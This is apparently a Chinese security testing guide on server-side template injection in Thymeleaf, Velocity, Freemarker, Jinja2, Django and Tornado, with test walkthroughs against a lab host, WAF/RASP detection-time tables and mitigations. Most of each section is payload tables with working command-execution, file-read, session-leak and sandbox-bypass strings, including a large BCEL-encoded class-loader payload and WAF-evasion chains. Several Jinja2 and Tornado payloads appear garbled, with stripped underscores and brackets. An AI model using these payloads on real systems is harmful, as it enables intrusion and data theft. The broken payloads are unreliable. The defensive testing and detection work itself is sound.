服务端模板注入(SSTI)下

4 方法

4.1Thymeleaf模板注入 T1190.014.001

4.1.1漏洞成因

WEB 没有针对用户输入内容进行过滤,并且错误的使用用户传入的值,导致用户可以操作模板内容或模板名,利用模板特性触发预处理执行spel表达式,执行系统命令或一些危险操作。Thymeleaf下SSTI漏洞可造成的危害如下:

a) 敏感信息泄露

通过Thymeleaf模板的内置对象可以获取修改session、获取模板名称等敏感信息,详细的内置对象在官方手册有详细说明,这里只针对session对象,进行简单演示:

b) 文件读取

利用java的FileReader读取文件:

c) 命令执行

利用预处理执行OGNL/SpEL表达式,执行系统命令。

4.1.2测试用例

测试ID类型测试用例*备注*
T1190.014.001.001漏洞检测${132*321}::x.适用情况一和情况二。是否输出42372
T1190.014.001.002132*321适用情况三。是否输出42372
T1190.014.001.003命令执行${T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')}::x.适用情况一和情况二。
T1190.014.001.004T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')适用情况三。
T1190.014.001.005${new java.lang.ProcessBuilder({'bash','-c', 'touch /tmp/success'}).start()}::x.适用情况一和情况二。
T1190.014.001.006new java.lang.ProcessBuilder({'bash','-c', 'touch /tmp/success'}).start()适用情况三。
T1190.014.001.007${T(Class).forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')}::x.适用情况一和情况二。
T1190.014.001.008T(Class).forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')适用情况三。
T1190.014.001.009${''.getClass().getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')}::x.适用情况一和情况二。
T1190.014.001.010''.getClass().getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')适用情况三。
T1190.014.001.011${new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85S$5bW$SQ$Y$dd$H$90$Z$c7$nA$d4$d2$ecb$96$82fd$d9U$ed$a2v$a1$f0$92$Y$e5$f2$a15$8c$93M$B$e3$g$86$ca$7eIO$bd$f6Z$3dP$abZ$fd$80$feL$ff$c0$da$871$c0$r$abx8$87$b3$bf$cb$de$dfe$7e$ee$7c$fd$B$60$S$8f5t$o$a5$e0$ac$86$AR$g$spN$fe$3b$$8fI$N$XpQ$k$974$5c$c6$V$N$Hp$b5$jS$98V1$a3$e1$g$ae$x$b8$a1$e0$a6$40x$da$$$d9$de5$81$60$o$99$T$I$cd9$h$96$40g$c6$$Y$8b$95b$derW$8d$7c$81HW$c61$8dB$cepm$f9$de$FC$de3$bb$y$Q$c9$98N1e$W7Rs$L$f3S$C$da$a6$e5$3dq$adr$a5$e0$J$q$T$99$e7$c6K$pe$3b$a9ti$ab$e2e$3d$d72$8aSI$l$z$Y$a5$cd$U$n$bb$b4$c9$c0$80$5d$S$e8i$e9Oc$9eT$81$f5Y$B$95$c8F$d6$7eC$F$oM$3a$bb$f4$d4$f1$dd$E$8e$d5$a3g$b7$3d$eb$a6$eb$g$dbK$V$af9O$q$eb$Z$e6$8b$Fc$abV$84$82$B$b6$90In$bd6$ad$z$cfvJe$F$e4$I$aeT$a8e8$b1_fK$e5AV$$9b$d4$c2$a4l$b9$8ei$95$v$3e$ded$5e$f6A$da$d5i$b3$b0$3b$D$z$ebT$5c$d3$bam$cb$e6$aal$e6$Z$Z$a0$p$8a$98$c0$91$7f$W$a6$60N$c7$3cn$e9$b8$8d$3b$3a$ee$o$ad$e0$9e$8e$fb$c8$e8X$c0$a2$82$r$j$cbx$a0$e3$m$O$vX$d1$91$c5$w$db91$a1$e0$a1$8e$i$k$Jt4MQ$m$da$d0$ba$94$7fn$99$ie$bc$3e$98$a5z$b7$9a$d1$c6$b8$b8$grF$Cm$89$f5$d9$qg$d4$f6$ca$b5$3d$W$a5$f0$9dN$cbMS$3d$c7o$91$40w$a2eOc$N$8c$c3$f0$ec$a2$e5$afV$fd$d1$b3$tn$Xf$60$c8zm$99$C$p$ff$Z$5ec$E$b1$7d$a0$c0$B2$ed$a9$e8$e0$b6$7d$9b$d9$d4$aa$ecv$d9$b3$e8$it$w$5e$f3$w$$93$bd$R$Qo$B$d7$W$85$af$82$fc$EZ$v$cfa$90_q$t$e4$$E$n$97$82g$X$v$de$82w$db$e8g$88$8f$fc$T$40$9cg$b8$G$w$e8$e6$a9$fb$O$e8A$_$efv$b9$F$f4$92$c1o$99$y$c4$3b$ZS$f1$5d$cd$Eg$be$n$b0$f6$Z$c1$c5$d1$b1$wBk3$ef$Q$Z$l$L$OT$d1$f6$fe$f7$af$f1$w$c2$l$e8$i$ac$R$f4$93$C$d4$U$a6$w$95z$a4$a2$7e$s$3dIJI$3a$ea$tF$lQ$vg$I$871$40$n$w$x9$82$a3$U$Q$a5$ed$Y$8e3$df$m$3d$o$I$ec$m$aa$e0$84P0$Ug$g$bf$d0S$d4$3b$8c$91$5d$bdwy$HxG$bf$40$Z$adB$cdPf$fb$Xh$l$eauk5$fb$n$d2$f4$d5d$f4$fa$feHP$K$88$aa$U6$c6$bc$8d$fc$wN$d7$9by$aa$e6$cd$k$7dBG$97$5eED6T4$r$d6$e8$deAd$bcFx$e6$P$f7$d0$d0$bd$90$F$A$A').Run('touch /tmp/success')}::x.适用情况一和情况二。
T1190.014.001.012new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85S$5bW$SQ$Y$dd$H$90$Z$c7$nA$d4$d2$ecb$96$82fd$d9U$ed$a2v$a1$f0$92$Y$e5$f2$a15$8c$93M$B$e3$g$86$ca$7eIO$bd$f6Z$3dP$abZ$fd$80$feL$ff$c0$da$871$c0$r$abx8$87$b3$bf$cb$de$dfe$7e$ee$7c$fd$B$60$S$8f5t$o$a5$e0$ac$86$AR$g$spN$fe$3b$$8fI$N$XpQ$k$974$5c$c6$V$N$Hp$b5$jS$98V1$a3$e1$g$ae$x$b8$a1$e0$a6$40x$da$$$d9$de5$81$60$o$99$T$I$cd9$h$96$40g$c6$$Y$8b$95b$derW$8d$7c$81HW$c61$8dB$cepm$f9$de$FC$de3$bb$y$Q$c9$98N1e$W7Rs$L$f3S$C$da$a6$e5$3dq$adr$a5$e0$J$q$T$99$e7$c6K$pe$3b$a9ti$ab$e2e$3d$d72$8aSI$l$z$Y$a5$cd$U$n$bb$b4$c9$c0$80$5d$S$e8i$e9Oc$9eT$81$f5Y$B$95$c8F$d6$7eC$F$oM$3a$bb$f4$d4$f1$dd$E$8e$d5$a3g$b7$3d$eb$a6$eb$g$dbK$V$af9O$q$eb$Z$e6$8b$Fc$abV$84$82$B$b6$90In$bd6$ad$z$cfvJe$F$e4$I$aeT$a8e8$b1_fK$e5AV$$9b$d4$c2$a4l$b9$8ei$95$v$3e$ded$5e$f6A$da$d5i$b3$b0$3b$D$z$ebT$5c$d3$bam$cb$e6$aal$e6$Z$Z$a0$p$8a$98$c0$91$7f$W$a6$60N$c7$3cn$e9$b8$8d$3b$3a$ee$o$ad$e0$9e$8e$fb$c8$e8X$c0$a2$82$r$j$cbx$a0$e3$m$O$vX$d1$91$c5$w$db91$a1$e0$a1$8e$i$k$Jt4MQ$m$da$d0$ba$94$7fn$99$ie$bc$3e$98$a5z$b7$9a$d1$c6$b8$b8$grF$Cm$89$f5$d9$qg$d4$f6$ca$b5$3d$W$a5$f0$9dN$cbMS$3d$c7o$91$40w$a2eOc$N$8c$c3$f0$ec$a2$e5$afV$fd$d1$b3$tn$Xf$60$c8zm$99$C$p$ff$Z$5ec$E$b1$7d$a0$c0$B2$ed$a9$e8$e0$b6$7d$9b$d9$d4$aa$ecv$d9$b3$e8$it$w$5e$f3$w$$93$bd$R$Qo$B$d7$W$85$af$82$fc$EZ$v$cfa$90_q$t$e4$$E$n$97$82g$X$v$de$82w$db$e8g$88$8f$fc$T$40$9cg$b8$G$w$e8$e6$a9$fb$O$e8A$_$efv$b9$F$f4$92$c1o$99$y$c4$3b$ZS$f1$5d$cd$Eg$be$n$b0$f6$Z$c1$c5$d1$b1$wBk3$ef$Q$Z$l$L$OT$d1$f6$fe$f7$af$f1$w$c2$l$e8$i$ac$R$f4$93$C$d4$U$a6$w$95z$a4$a2$7e$s$3dIJI$3a$ea$tF$lQ$vg$I$871$40$n$w$x9$82$a3$U$Q$a5$ed$Y$8e3$df$m$3d$o$I$ec$m$aa$e0$84P0$Ug$g$bf$d0S$d4$3b$8c$91$5d$bdwy$HxG$bf$40$Z$adB$cdPf$fb$Xh$l$eauk5$fb$n$d2$f4$d5d$f4$fa$feHP$K$88$aa$U6$c6$bc$8d$fc$wN$d7$9by$aa$e6$cd$k$7dBG$97$5eED6T4$r$d6$e8$deAd$bcFx$e6$P$f7$d0$d0$bd$90$F$A$A').Run('touch /tmp/success')适用情况三。
T1190.014.001.013文件读取${new java.util.Scanner(new java.io.FileInputStream("/etc/hostname")).useDelimiter("\A").next()}::x.适用情况一和情况二。
T1190.014.001.014new java.util.Scanner(new java.io.FileInputStream("/etc/hostname")).useDelimiter("\A").next()适用情况三。
T1190.014.001.015${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get("/etc/hostname"))}::x.适用情况一和情况二,需要JDK版本大于7。
T1190.014.001.016T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get("/etc/hostname"))适用情况三,需要JDK版本大于7。
T1190.014.001.017敏感信息泄漏${#session.id}::x.获取session的id。
T1190.014.001.018#session.id获取session的id。
T1190.014.001.019${#session.getAttribute('key')}::x.获取session内某个值。
T1190.014.001.020#session.getAttribute('key')获取session内某个值。
T1190.014.001.021${#execInfo.templateName}::x.获取模板名称。
T1190.014.001.022#execInfo.templateName获取模板名称。

4.1.3攻击实例及TTD

4.1.3.1测试过程
  1. 情况一:

访问靶场环境 http://124.70.85.41:8090/path?lang=1,之后修改参数内容,输入测试语句(注意:所有测试用例内的语句在输入时候都要进行url编码之后,再使用),观察响应页面:

2*6成功被执行。输入命令执行语句:

成功执行命令被回显部分内容,确认存在漏洞。

  1. 情况二:

在控制Controller的这种情况下,是没有回显的,可以通过dnslog平台来查看命令是否执行成功。访问靶场环境http://124.70.85.41:8090/doc/,直接在 doc/后面输入测试语句,payload与情况一使用的payload相同:

然后去查看dnslog日志:

成功接收,确认存在漏洞。

  1. 情况三:

访问靶场环境:http://124.70.85.41:8090/test?id=1,控制内容变为了模板内,预编译内的变量所以直接输入命令执行语句进行测试:

new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()

成功执行命令id,确认漏洞存在。

4.1.3.2TTD

单位:秒,无法检测:∞

IdRASPWAF备注
T1190.014.001.001
T1190.014.001.002
T1190.014.001.00311
T1190.014.001.00411
T1190.014.001.00511
T1190.014.001.00611
T1190.014.001.00711
T1190.014.001.00811
T1190.014.001.00911
T1190.014.001.01011
T1190.014.001.0111
T1190.014.001.0121
T1190.014.001.0131WAF检测的是本地文件包含
T1190.014.001.0141
T1190.014.001.0151WAF检测的是本地文件包含
T1190.014.001.0161
T1190.014.001.017
T1190.014.001.018
T1190.014.001.019
T1190.014.001.020
T1190.014.001.021
T1190.014.001.022

4.1.4缓解措施

  1. 开发者参考3.2.3节漏洞原理中的三种产生漏洞的场景,避免使用相同的代码情况。
  2. 开发者设置ResponseBody注解,则将不再调用模板进行解析。
@GetMapping("/test")

@ResponseBody

public String test(String test){

return test;

}
  1. 对于情况一,开发者设置redirect重定向,根据Spring文档,如果返回值是以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值。如下所示:
@GetMapping("/safe/redirect")

public String redirect(@RequestParam String url) {

return "redirect:" + url; //CWE-601, as we can control the hostname in redirect
  1. 对于情况二,对controller添加HttpServletResponse参考,Spring会认为它已经处理了HTTP Response,因此不会发生视图名称解析,如下所示:
@GetMapping("/safe/doc/{document}")

public void getDocument(@PathVariable String document, HttpServletResponse response) {

log.info("Retrieving " + document); //FP

}
  1. 开发者对传入参数进行过滤。
  2. WEB应用使用低权限运行。

4.1.5检测方法

  1. WEB应用安装WAF,且添加漏洞规则,如:检测提交内容中是否存在__{}__::、Runtime、Classloader等关键字。
  2. 主机安装RASP,对处理模板内容进行打点检测,判断当函数内容为外部出入时,是否存在恶意的命令。
  3. 主机安装HIPS,检测WEB应用是否创建恶意的进程,或者读取敏感的文件。

4.2Velocity模板注入 T1190.014.002

4.2.1漏洞成因

WEB没有针对用户输入内容进行过滤,错误的引用用户值,导致用户可以操作模板渲染前的内容,并利用VTL指令,构造恶意表达式,进行一系列恶意操作。Velocity下SSTI漏洞可造成的危害如下:

a) 敏感信息泄露

可以通过Velocity的内置对象操作session、request等获取敏感信息,部分对象可以修改其内容如session对象,这里只针对session进行演示。

b) 文件读取

通过include指令,读取文件内容,注意Velocity限制了读取目录只能是TEMPLATE_ROOT目录下的内容这点在官方手册有相关描述,而TEMPLATE_ROOT默认情况指向项目根目录。

c) 命令执行

通过SET指令加载外部类,达到执行命令目的,详细细节请参照3.3.3小节。

4.2.2测试用例

测试ID类型*测试用例**备注*
T1190.014.002.001漏洞检测#set($e=12345*54321)$e是否输出670592745
T1190.014.002.002敏感信息泄露$session.getAttribute("user")获取session内user的值
T1190.014.002.003命令执行#set($e='')$e.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('touch /tmp/success')无回显
T1190.014.002.004#set($e='')$e.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')
T1190.014.002.005#set($e='')$e.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('touch /tmp/success')")
T1190.014.002.006#set($x='')#set($str=$x.class.forName('java.lang.String'))#set($chr=$x.class.forName('java.lang.Character'))#set($rt=$x.class.forName('java.lang.Runtime'))#set($ex=$rt.getRuntime().exec('whoami'))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
T1190.014.002.007#set($e='')$e.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85S$5bW$SQ$Y$dd$H$90$Z$c7$nA$d4$d2$ecb$96$82fd$d9U$ed$a2v$a1$f0$92$Y$e5$f2$a15$8c$93M$B$e3$g$86$ca$7eIO$bd$f6Z$3dP$abZ$fd$80$feL$ff$c0$da$871$c0$r$abx8$87$b3$bf$cb$de$dfe$7e$ee$7c$fd$B$60$S$8f5t$o$a5$e0$ac$86$AR$g$spN$fe$3b$$8fI$N$XpQ$k$974$5c$c6$V$N$Hp$b5$jS$98V1$a3$e1$g$ae$x$b8$a1$e0$a6$40x$da$$$d9$de5$81$60$o$99$T$I$cd9$h$96$40g$c6$$Y$8b$95b$derW$8d$7c$81HW$c61$8dB$cepm$f9$de$FC$de3$bb$y$Q$c9$98N1e$W7Rs$L$f3S$C$da$a6$e5$3dq$adr$a5$e0$J$q$T$99$e7$c6K$pe$3b$a9ti$ab$e2e$3d$d72$8aSI$l$z$Y$a5$cd$U$n$bb$b4$c9$c0$80$5d$S$e8i$e9Oc$9eT$81$f5Y$B$95$c8F$d6$7eC$F$oM$3a$bb$f4$d4$f1$dd$E$8e$d5$a3g$b7$3d$eb$a6$eb$g$dbK$V$af9O$q$eb$Z$e6$8b$Fc$abV$84$82$B$b6$90In$bd6$ad$z$cfvJe$F$e4$I$aeT$a8e8$b1_fK$e5AV$$9b$d4$c2$a4l$b9$8ei$95$v$3e$ded$5e$f6A$da$d5i$b3$b0$3b$D$z$ebT$5c$d3$bam$cb$e6$aal$e6$Z$Z$a0$p$8a$98$c0$91$7f$W$a6$60N$c7$3cn$e9$b8$8d$3b$3a$ee$o$ad$e0$9e$8e$fb$c8$e8X$c0$a2$82$r$j$cbx$a0$e3$m$O$vX$d1$91$c5$w$db91$a1$e0$a1$8e$i$k$Jt4MQ$m$da$d0$ba$94$7fn$99$ie$bc$3e$98$a5z$b7$9a$d1$c6$b8$b8$grF$Cm$89$f5$d9$qg$d4$f6$ca$b5$3d$W$a5$f0$9dN$cbMS$3d$c7o$91$40w$a2eOc$N$8c$c3$f0$ec$a2$e5$afV$fd$d1$b3$tn$Xf$60$c8zm$99$C$p$ff$Z$5ec$E$b1$7d$a0$c0$B2$ed$a9$e8$e0$b6$7d$9b$d9$d4$aa$ecv$d9$b3$e8$it$w$5e$f3$w$$93$bd$R$Qo$B$d7$W$85$af$82$fc$EZ$v$cfa$90_q$t$e4$$E$n$97$82g$X$v$de$82w$db$e8g$88$8f$fc$T$40$9cg$b8$G$w$e8$e6$a9$fb$O$e8A$_$efv$b9$F$f4$92$c1o$99$y$c4$3b$ZS$f1$5d$cd$Eg$be$n$b0$f6$Z$c1$c5$d1$b1$wBk3$ef$Q$Z$l$L$OT$d1$f6$fe$f7$af$f1$w$c2$l$e8$i$ac$R$f4$93$C$d4$U$a6$w$95z$a4$a2$7e$s$3dIJI$3a$ea$tF$lQ$vg$I$871$40$n$w$x9$82$a3$U$Q$a5$ed$Y$8e3$df$m$3d$o$I$ec$m$aa$e0$84P0$Ug$g$bf$d0S$d4$3b$8c$91$5d$bdwy$HxG$bf$40$Z$adB$cdPf$fb$Xh$l$eauk5$fb$n$d2$f4$d5d$f4$fa$feHP$K$88$aa$U6$c6$bc$8d$fc$wN$d7$9by$aa$e6$cd$k$7dBG$97$5eED6T4$r$d6$e8$deAd$bcFx$e6$P$f7$d0$d0$bd$90$F$A$A').newInstance().Run('whoami')依赖BCEL Classloader。
T1190.014.002.008$class.inspect("java.lang.Runtime").type.getRuntime().exec('touch /tmp/success').waitFor()利用环境需配置ClassTools,关于ClassTools请参考3.3.2.2小节。无回显。
T1190.014.002.009#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end利用环境需配置ClassTools,关于ClassTools请参考3.3.2.2小节。有回显。
T1190.014.002.010文件读取#set($e='')$e.class.forName('java.nio.file.Files').readAllLines($e.class.forName('java.nio.file.Paths').get("/etc/hostname"))JDK7以上
T1190.014.002.011#include( "filename" )存在限制,不能跨出TEMPLATE_ROOT目录。

4.2.3攻击实例及TTD

4.2.3.1测试过程

访问靶机环境http://124.70.85.41:8080/test/index/?template=1

之后使用检测语句来检测是否存可以被执行:

返回12,2*6成功执行。之后,再替换参数内容为测试用例的命令执行语句,这里使用有内容回显的poc:

成功执行命令,确认存在漏洞。

4.2.3.2TTD

单位:秒,无法检测:∞

用例IDRASPWAF备注
T1190.014.002.001
T1190.014.002.002
T1190.014.002.00311
T1190.014.002.00411
T1190.014.002.00511
T1190.014.002.00611
T1190.014.002.00711
T1190.014.002.00811
T1190.014.002.00911
T1190.014.002.0101检测到的是本地文件包含
T1190.014.002.0111

4.2.4缓解措施

  1. 使用最新版本的Velocity模板,避免存在历史漏洞。
  2. 开发者禁止将不可信输入直接传入模板中进行解析。
  3. 开发者对输入参数进行过滤,避免存在特殊字符。
  4. WEB服务使用低权限运行。

4.2.5检测方法

  1. WEB应用安装WAF,且添加漏洞规则,如:检测提交内容中是否存在#set、Runtime、Classloader等关键字。
  2. 主机安装RASP,对处理模板内容进行打点检测,判断当函数内容为外部出入时,是否存在恶意的命令。
  3. 主机安装HIPS,检测WEB应用是否创建恶意的进程,或者读取敏感的文件。

4.3Freemarker模板注入 T1190.014.003

4.3.1漏洞成因

WEB没有针对用户输入内容进行过滤,错误的引用用户值,导致用户可以操作模板渲染前的内容,并利用模板指令,构造恶意表达式,进行一系列恶意操作。Freemarker下SSTI漏洞可造成的危害如下:

a) 敏感信息泄露

通过操作session内置对象,可以获取到保存在session内的内容:

b) 文件读取

读取passwd文件内容。

c) 命令执行

通过assign指令,加载freemarker的内置类,之后通过内建函数new实例化从而达到执行命令的目的,详细细节请参照3.4.3小节。

4.3.2测试用例

测试ID类型测试用例备注
T1190.014.003.001漏洞检测<#assign value="aaaaaaaaaa">${value}输出aaaaaaaaaa
T1190.014.003.002漏洞检测${123*321}输出39,483
T1190.014.003.003敏感信息泄露${session.getAttribute("user")}获取session内user的值,适用不存在安全机制环境
T1190.014.003.004文件读取<#assign uri=test?api.class.getResource("/").toURI()><#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()><#assign is=input?api.getInputStream()>FILE:[<#list 0..999999999 as _><#assign byte=is.read()><#if byte == -1><#break></#if>${byte}, </#list>];需要环境配置api_builtin_enabled为true,适用存在安全机制环境
T1190.014.003.005命令执行<#assign value="freemarker.template.utility.Execute"?new()>${value('touch /tmp/success')}适用不存在安全机制环境
T1190.014.003.006命令执行${"freemarker.template.utility.Execute"?new()("touch /tmp/success")}适用不存在安全机制环境
T1190.014.003.007命令执行<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder", "bash", "-c", 'touch /tmp/success').start()}无回显,适用不存在安全机制环境
T1190.014.003.008命令执行<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system('touch /tmp/success')/@value无回显,适用不存在安全机制环境,且依赖Jython环境
T1190.014.003.009命令执行<#assign classloader=test.class.protectionDomain.classLoader><#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")><#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)><#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>${dwf.newInstance(ec,null)("whoami")}防御机制绕过,其中object就是当前模板中允许索引的类,详细细节请参照3.4.4小节。适用存在安全机制环境

4.3.3攻击实例及TTD

4.3.3.1测试过程

访问靶机环境:http://124.70.85.41:8911/

根据页面提示,去访问/message/freemarker。

访问http://124.70.85.41:8911/message/freemarker,传入 username 参数,并输入测试用例内的检测语句查看返回结果:

语句成功被执行,然后输入命令执行语句,查看页面返回结果:

系统命令成功执行,并回显,确认存在漏洞。

4.3.3.2TTD

单位:秒,无法检测:∞

用例IDRASPWAF备注
T1190.014.003.001
T1190.014.003.002
T1190.014.003.003
T1190.014.003.0041检测的是本地文件包含攻击。
T1190.014.003.00511
T1190.014.003.00611
T1190.014.003.00711
T1190.014.003.0081Payload依赖Jython环境,靶场不支持。
T1190.014.003.00911

4.3.4缓解措施

  1. 开发者使用最新版本Freemarker,当前最新版本为2.3.31。
  2. 开发者设置TemplateClassResolver为ALLOWS_NOTHING_RESOLVER,禁止解析任意类,参考3.4.4节。
  3. 开发者配置api_builtin_enabled为false值。
Configuration config = new Configuration();

config.setAPIBuiltinEnabled(false);
  1. 开发者禁止将不可信输入传入模板中进行解析。
  2. WEB应用使用低权限运行。

4.3.5检测方法

  1. WEB应用安装WAF,且添加漏洞规则,如:检测提交内容中是否存在${}、Runtime、Classloader、<#assign等关键字。
  2. 主机安装RASP,对处理模板内容进行打点检测,判断当函数内容为外部出入时,是否存在恶意的命令。
  3. 主机安装HIPS,检测WEB应用是否创建恶意的进程,或者读取敏感的文件。

4.4Jinja2模板注入 T1190.014.004

4.4.1漏洞成因

WEB 没有针对用户输入内容进行过滤,错误的引用用户值,导致用户可以操作模板渲染前的内容,jinja2下SSTI漏洞可造成的危害如下:

a) 敏感信息泄露

通过调用session对象,可以获取session的值。

b) 文件读取

通过open函数读取文件,利用链请参照3.7.3小节。

c) 命令执行

通过eval、os等特殊库或者函数调用系统命令,利用链请参照3.7.3小节。

4.4.2测试用例

测试ID类型测试用例备注
T1190.014.004.001漏洞检测{{123*321}}是否输出39483
T1190.014.004.002信息泄露{{config.items()}}
T1190.014.004.003信息泄露{{self.dict}}
T1190.014.004.004文件读取{{''.class.mro[2].subclasses()40.read()}}其中40为open函数的索引,获取方式参考3.7.3节。
T1190.014.004.005{{aaa.init.globals.builtins.open("/etc/hosts").read()}}适用任意环境
T1190.014.004.006{{[].class.bases[0].subclasses()[75].init.globals"open".read()}}其中75为IncrementalEncoder模块的索引,获取方式参考3.7.3节。
T1190.014.004.007文件写入{{ ''.class.mro[2].subclasses()40.write('Hello here !') }}其中40为open函数的索引,获取方式参考3.7.3节。
T1190.014.004.008命令执行{{[].class.base.subclasses()[60].init.globals'builtins'("import('os').popen('whoami').read()")}}其中60为catch_warnings模块的索引,获取方式参考3.7.3节。
T1190.014.004.009{{aaa.init.globals.builtins.import("os").popen("whoami").read()}}
T1190.014.004.010{{config.class.init.globals['os'].popen('ls').read()}}
T1190.014.004.011{% for x in ().class.base.subclasses() %} {% if "warning" in x.name %} {{ x()._module.builtins'import'.popen("id").read()}} {%endif%}{% endfor %}
T1190.014.004.012{{ ''.class.mro[2].subclasses()40.write('from os import popen\n\nRUNCMD = popen\n') }} {{ config.from_pyfile('/tmp/evilconfig.cfg') }} {{ config'RUNCMD'.read() }}其中40为open函数的索引,获取方式参考3.7.3节。
T1190.014.004.013{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}绕WAF,参考链接

4.4.3攻击实例及TTD

4.4.3.1测试过程

访问靶机环境,http://124.70.85.41:8999/test?name=admin

使用测试实例的检测语句,然后观察响应页面:

成功解析了7*7,使用测试用例的命令执行语句,执行系统命令:

成功执行命令并回显,确认存在漏洞。

4.4.3.2TTD

单位:秒,无法检测:∞

用例IDRASPWAF备注
T1190.014.004.001RASP环境不支持,未测试,下同。
T1190.014.004.002
T1190.014.004.003
T1190.014.004.0041WAF检测的是本地文件包含攻击
T1190.014.004.0051WAF检测的是本地文件包含攻击
T1190.014.004.0061WAF检测的是本地文件包含攻击
T1190.014.004.007
T1190.014.004.0081
T1190.014.004.0091
T1190.014.004.0101
T1190.014.004.0111
T1190.014.004.012WAF检测会根据执行命令,如curl命令会被检测。
T1190.014.004.013WAF检测会根据执行命令,如curl命令会被检测。

4.4.4缓解措施

  1. 更新jinja2版本至最新版本。
  2. 开发者禁止将不可信来源的输入直接拼接至模板中。
  3. Jinja2官方有沙盒支持,对于不可信来源的模板解析可以使用沙盒,参考其官方文档
  4. WEB应用禁止以高权限用户运行。
  5. 开发者对请求参数进行过滤检测,判断是否存在敏感字符,如{、{%、[等。

4.4.5检测方法

  1. 对业务代码进行白盒审计,检测是否使用render_template_string函数,并判断该函数内容是否是可控。
  2. 安装WAF并完善WAF规则,对请求的内容进行检测。
  3. 主机安装HIPS,检测应用进程是否运行异常进程,或者读取敏感文件。

4.5Django模板注入 T1190.014.005

4.5.1漏洞成因

WEB没有针对用户输入内容进行过滤,错误的引用用户值,导致用户可以操控模板渲染前的内容,并且settings配置错误,导致用户可以通过include等标签读取文件内容。Django下SSTI漏洞可造成的危害如下:

a) 敏感信息泄露

通过操作request,可以读取到包括session、cookie等敏感信息。

b) 文件读取

当settings文件配置不当的时候可以通过include标签和extends标签,读取文件内容。

4.5.2测试用例

测试ID类型测试用例备注
T1190.014.005.001信息泄漏{{request.session.user}}获取session值
T1190.014.005.002文件读取{%include "file"%}需要settings的错误设置
T1190.014.005.003{%extends "file"%}需要settings的错误设置

4.5.3攻击实例及TTD

4.5.3.1测试过程

访问靶场环境,http://124.70.85.41:8000/test/?q=test

使用测试用例内的文件读取,尝试读取manage.py文件。

成功读取到了manage文件内容。

4.5.3.2TTD

单位:秒,无法检测:∞

用例IDRASPWAF备注
T1190.014.005.001RASP环境不支持,未测试,下同。
T1190.014.005.002
T1190.014.005.003

4.5.4缓解措施

  1. 开发者禁止将不可信输入直接拼接到模板中进行解析。
  2. 开发者禁止将敏感目录(代码目录、应用配置目录等)添加到settings内的TEMPLATES列表中。
  3. 更新Django版本至最新版本。
  4. WEB应用使用低权限账户运行。

4.5.5检测方法

  1. 对应用代码进行白盒审计,检测是否直接将用户输入拼接到模板中并进行解析。
  2. WEB应用安装WAF,并完善检测规则,对请求的内容进行检测。
  3. 主机安装HIPS,检测WEB应用进程是否创建异常进程或者读取敏感文件。

4.6tornado模板注入 T1190.014.006

4.6.1漏洞成因

WEB没有针对用户输入内容进行过滤,错误的引用用户值,由于tornado对模板语法并没有严格的过滤,所以比起常见模板可以更简单的执行一些高危操作,tornado下SSTI漏洞可造成的危害。

a) 文件读取

tornado在模板中并不会对表达式做限制,这点在官方手册有相关描述,所以可以直接通过,open方法来读取文件。

b) 命令执行

通过import导入os库,之后通过os库执行系统命令,详细细节请参照3.5.3。

4.6.2测试用例

测试ID类型测试用例备注
T1190.014.006.001漏洞检测{{123*321}}是否输出39483
T1190.014.006.002信息泄露{{globals()}}
T1190.014.006.003文件读取{{open("/etc/passwd").read()}}
T1190.014.006.004文件读取{% raw open("/etc/passwd").read() %}
T1190.014.006.005文件读取{{eval("b3BlbigiL2V0Yy9wYXNzd2QiKS5yZWFkKCk=".decode("base64"))}}
T1190.014.006.006文件读取{{[].class.bases[0].subclasses()[75].init.globals"open".read()}}
T1190.014.006.007文件读取{% raw [].class.bases[0].subclasses()[75].init.globals"open".read() %}
T1190.014.006.008文件读取{{ ''.class.mro[2].subclasses()40.read() }}
T1190.014.006.009文件读取{% raw ''.class.mro[2].subclasses()40.read() %}
T1190.014.006.010命令执行{{[].class.base.subclasses()[60].init.globals'builtins'("import('os').popen('whoami').read()")}}
T1190.014.006.011命令执行{% raw [].class.base.subclasses()[60].init.globals'builtins'("import('os').popen('whoami').read()") %}
T1190.014.006.012命令执行{% for x in ().class.base.subclasses() %} {% if "warning" in x.name %} {{x()._module.builtins'import'.popen('whoami').read()}} {% end %}{% end %}
T1190.014.006.013命令执行{{(lambda g: [(os.popen('touch /tmp/successzzzzz').read(), None)[1] for g['os'] in (import('os', g, g))])(globals())}}无回显
